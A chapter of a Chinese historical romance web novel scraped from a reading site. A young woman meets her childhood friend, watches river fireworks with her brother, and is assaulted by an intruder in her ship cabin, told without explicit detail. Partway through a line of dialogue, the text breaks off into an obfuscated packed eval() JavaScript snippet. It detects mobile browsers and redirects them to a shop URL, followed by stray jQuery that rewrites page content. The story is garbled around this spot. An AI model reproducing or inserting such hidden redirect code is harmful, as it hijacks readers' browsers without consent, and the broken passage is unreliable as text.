默认冷灰
24号文字
方正启体

5. 第 5 章

作者:一川云草本书字数:K更新时间:
    落日缓缓西沉,熔金般的余晖浮动着,一点点吞没天际的蟹蓝,将绮丽的霞光彻底横铺在天地间。


    江凝月刚收拾妥当,突听侍从传话有位姑娘要见她,她随那侍从出去相迎,刚越过门槛,就看见来人正等在府门前。


    单瞧背影她便认了出来,颇为惊喜地叫了声兰时,“你怎么来了?”


    陆兰时盈盈走来,桃面杏腮上蒙上层细汗,她用手扇着风,娇艳的脸上满是不悦:“你还记得有我这号人呢?两月不见,你竟成婚了,连知会都不曾知会我一声,也算我自作多情,还要跑东跑西来寻你,大冬日地热出一身汗来。”


    “真是对不住,先随我进去,咱们进去再说。”江凝月忙上前抱住她的胳膊,又命人去倒茶,这是礼部尚书之女,也是自己多年的闺中密友,自离开侯府,两人还不曾见过。


    陆兰时从李府找到疏兰院,又找到这儿来,折腾了大半晌,进屋也不同她客气,先灌了三杯茶水,开口又是抱怨:“你究竟是怎么回事?你们侯府又是怎么回事?如此匆忙给你许了人家,还将你嫁给这么个……”


    她嘴上打了个磕绊,怕语出伤人,又调转话头:“听我父亲下朝念叨了几句,知道你夫君出了事,躲着我父亲跑出来看看你。”


    江凝月给她抚后背顺了顺气,应道:“你先别着急,也别担心。”


    她向来脾气火爆,再顾不得什么,声音顿时高出几度:“你叫我怎么不着急、不担心,我若再不来找你,你都要丧夫成寡妇了。”


    “兰时,我绝非有心要瞒你。”江凝月自知理亏,也不争辩。


    陆兰时不吭声,盯着她只等着听她的解释。


    江凝月没有向陆兰时挑明的意思,因为她的身世不能叫外人知道,文远侯虽将她赶出侯府,但是她有错在先,况且他非但没有赶尽杀绝,反而替她寻得新的归宿,已算是仁至义尽,她不想损害他的颜面。


    可她也不想出言欺骗,拉住陆兰时的手坦然道:“兰时,关于我成婚的其中缘由,眼下不能告诉你,但是你知道我的,我并不是不把你放在心上,我的事但凡能开口的,你都是第一个知道的。”


    言至于此,陆兰时还如何怪罪,她放低了声调:“你既不能说,我还能逼你不成,我只是担心你。”


    他们是自小一同长起来的手帕交,她怎么会因为这些怪她呢。


    “我知道。”江凝月抱了抱她的肩,“我没事儿,我夫君也没事儿,我哥哥已经替我想法子了。”


    “那就好。”陆兰时松了口气,因心头还有些委屈,语气并不算好,“我来也是想告诉你,我外祖母八十大寿,我要随我母亲回褚州祝寿,恐怕要好些日子才能回来。”


    江凝月有些遗憾:“这是好事呀,只是我知道得晚,来不及准备贺礼。”


    “不用你准备。”陆兰时轻哼一声,“反正你大婚我也没备礼,咱们就算是扯平了。”


    江凝月笑了笑,又问:“等你回来是不是也要议亲了,记得你之前说过,当今皇上有意将你赐婚给征北将军。”


    陆兰时这回直接拍案而起,浑身似是扎满尖刺,痛骂道:“那个只会打打杀杀的莽夫也配娶我?”


    “怎么这样大的气性?”江凝月诧异,记得上回提起来,她还心有向往,说那位将军骁勇善战,是当朝难得的武才。


    陆兰时呸了声,“那样的臭男人,我才看不上呢。”


    她没好意思说,皇上的赐婚圣旨下来时,是他率先拒婚,话里话外嘲讽她是娇生惯养的世家小姐,自己伺候不起。


    江凝月劝说:“不着急,朝中好男儿多的是,总会有你心仪的。”


    陆兰时点头,又回过来劝她:“凝月,有些事我虽不知道,但是我希望你能好好的,咱们是最好的朋友,你若有用得着我的时候,千万、千万要来找我。”


    “那是自然,我定不会同你客气的。”江凝月看着她真挚的脸,更觉安慰。


    两人又絮絮叨叨说了许久,陆兰时怕她离家太久父亲发现,这才匆匆告辞。


    送走了她,江凝月才跟哥哥出门,他们此行颠簸,怕卫嬷嬷身子受不住,特意只带了流光。


    到随州需走水路,自京中乘坐马车至渭河码头将近一个时辰,上船时已经入夜。


    适逢有人在水上点放烟火,方圆几里皆灯火通明、人头攒动,船上走板也早已站满了人。


    江凝月鲜少出门,这会儿也被这番热闹吸引,拉着江承昀挤过去,走动间,又有霹雳数声。


    “哥哥快看。”她抬手遥指。


    远处似有飞星挣脱烟气,直冲云霄,而后消失不见,只余点点繁星倾泻水中。


    人群中紧跟着高声呼喊:“看,孔鸟!”


    随后有人反驳:“什么孔鸟,那是凤凰。”


    江凝月站得靠后,听他们争论,却看不到细节,她迫不及待地踮着脚张望,万头攒动,不知谁撞到她。


    她一时站不稳,还未来得及摔倒,江承昀已经伸手掐住她的腰,将她捞了回来。


    她回过身来,心有余悸地笑笑。


    他无奈地摇头,四下张望,瞧见一处凸起的木桩,直接抱着她放在上头。


    那木桩细小,只容她半个脚面,他环过她的腰,手抓住一旁的栏杆,稳稳地托住她。


    他将手臂尽力绷直,惊觉她真的长大了,犹记得数年前带她去看杂耍,他还能毫不费力将她托到肩头。


    她抓住他的手腕,站在高处放心地观赏,终于看清旁人口中形如凤凰的烟火。


    它腾空而起,在半空中稍作停留才炸开,变幻成纷飞的霞光,刹那间天地间亮如白昼,繁星倒挂在江面。


    江凝月为眼前胜景所震慑,喃喃道:“哥哥,是谁这样大的手笔?”


    不等他回应,身后传出道陌生的声音,说着蹩脚的中原话:“清风楼的掌柜,有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405374|200474||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    名的大商贾。”


    两人齐齐回头去看,只见一身着团窠对鹿纹圆领短袍的胡人,身量很高,鼻梁尖挺,下三白的眼睛里是黄绿色的瞳仁,他的目光在江凝月身上流转,带着黏腻潮湿的意味,让人莫名想起蛇的信子。


    江承昀不喜欢他的目光,不由皱了皱眉,侧身不经意地挡在江凝月跟前。


    那人没有多言,意味深长地又望他们一眼,咧嘴笑着走开了。


    江凝月倒未将他放在心上,痛痛快快地看了场水上烟火,直到结束仍意犹未尽,只是这份雀跃没有持续太长时间,因为她竟然晕船。


    从前坐的画舫,倒没有反应,许是江上波涛汹涌,颠簸更甚,她有些受不住。


    前半夜症状还不大明显,仅是胸口发闷,她没有告诉哥哥,早早便回自己的舱室睡下,到了后半夜,突然浑身发麻,喉间堵着一口气来回往上涌,想吐却又吐不出来。


    流光忙开窗透气,又给她用过薄荷膏,她才算稍稍缓解勉强又歇下。


    半睡半醒间,江凝月突然嗅到一股腥味,她不知如何形容,只觉既像腐肉、又像鱼腥,她想要睁眼查看,但是眼皮格外地沉,怎么也睁不开。


    她当是在做梦,下一刻便转变了想法,因为似乎有一只手攀上她的面颊,在她的皮肤上来回摩挲。


    她确信有人正站在她的床榻旁,恐惧将她彻底笼罩,她想呐喊、想挣扎,却丝毫动弹不得。


    那个人离得更近了,湿热的气息扑到她面上,让她有种反胃的恶心,她用力咬住唇,唇上皮肉被咬破,她尝到血腥味,但是疼痛感并不清晰。


    那人却愈发肆意,手指挑开锦被,碰上她的锁骨,不知是不是她的错觉,此时与她接触的不是适才那只手,甚至不像是人的皮肤,倒像是某种动物在爬行,冰冷却又细腻,伴随着低切的沙沙声。


    她骨寒毛竖,感受到凉意攀上脖颈,听着那人呼吸变得沉重,她几近绝望,狠狠咬死下唇,鲜血涌出来,疼痛终于让她恢复几分气力,她强忍恶心,一点点挪动手臂。


    那人的唇几乎贴到她的皮肤,她的手腕终于碰到床榻边沿,她咬紧牙关、用尽全身力气抬起手臂,放松后脱力重重砸向床榻,腕上玉镯一击而碎,发出清脆的响声。


    守在门外的定川应声叩门,疑惑询问:“姑娘、流光,没事儿吧?”


    俯在江凝月身上的人猝然受惊,猛地起身,环绕在她脖颈的冰凉霎时消失。


    定川没有听到回应,只听到窸窸窣窣之声,心中暗呼不好,即刻推门而入,只看到一道黑色身影从屋内跳下去,忙快步追上。


    旁边舱室的江承昀听见声音,只着缎面袖袍跑进来,就着微弱灯光看见躺在床上的江凝月,锦被坠地、酥肩半露,整颗心霎时提起来,冲上前半跪到脚踏上,哑着声音连叫“盘盘”。


    没有听到她的回应,又猛然看见她嘴角鲜血,难言的恐惧一瞬扼住他的喉咙。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)